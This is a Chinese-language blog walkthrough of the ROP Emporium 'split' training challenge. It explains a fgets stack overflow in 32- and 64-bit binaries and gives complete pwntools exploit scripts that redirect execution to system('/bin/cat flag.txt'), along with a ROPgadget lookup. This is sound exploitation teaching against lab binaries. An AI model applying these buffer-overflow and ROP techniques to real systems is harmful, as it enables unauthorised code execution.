ROP Emporium の split

Introduction

ROP Emporium训练1:split的解析。

split32

Step 1

程序正常运行截图:

checksec:32位程序,只开启了DEP保护

Step 2

把程序丢到hopper中看下,发现在pwnme函数中fgets函数存在溢出漏洞:

同时程序中存在system函数,可以执行系统命令:

再找下程序中有没有’/bin/sh’字符串:

可惜,没有找到。不过在hopper中看到一个有趣的字符串“/bin/ls”:

有这个也无法看到flag,那么再去找一下“flag.txt”字符串:

Surprise!!!居然有“/bin/cat flag.txt”字符串。到此思路就清晰了,fgets函数溢出覆盖返回地址跳转到system执行“/bin/cat flag.txt”的命令即可。

Step 3

话不多说,直接上EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
* from pwn import *
* sh = process('./split32')
* elf = ELF('./split32')
*
* system_addr = elf.symbols['system']
* shell_addr = elf.search('/bin/cat').next()
*
* payload = 'a' * (0x28 + 0x4) + p32(system_addr) + p32(0xdeadbeef) + p32(shell_addr)
*
* sh.recvuntil('>')
* sh.send(payload)
*
* sh.interactive()
* sh.close()

代码运行结果:

split

Step 1

程序运行截图:

checksec还是一样的仅开启DEP保护,只是程序变成了64位:

Step 2

将程序丢到hopper中发现解题的逻辑和split32一模一样,fgets函数溢出覆盖返回地址到system函数,执行“/bin/cat flag.txt”命令.

与32位程序不同的有两点:

  • 一是偏移量不同,这点简单明了

  • 二是32位和64位程序传参方式的不同,具体可以参考XMAN level2_x64 の Write-Up

Step 3

比较简单,还是直接给出EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
* from pwn import *
*
* sh = process('./split')
* elf = ELF('./split')
*
* system_addr = elf.symbols['system']
* rop_addr = 0x0000000000400883
* shell_addr = elf.search('/bin/cat').next()
*
* payload = 'a' * (0x20 + 0x8) + p64(rop_addr) + p64(shell_addr) + p64(system_addr)
*
* sh.recvuntil('>')
* sh.send(payload)
*
* sh.interactive()
* sh.close()

其中rop_addr是通过ROPgadget --binary ./split --only 'pop|ret’命令找到的:

EXP脚本运行结果图:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/05/27/split/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog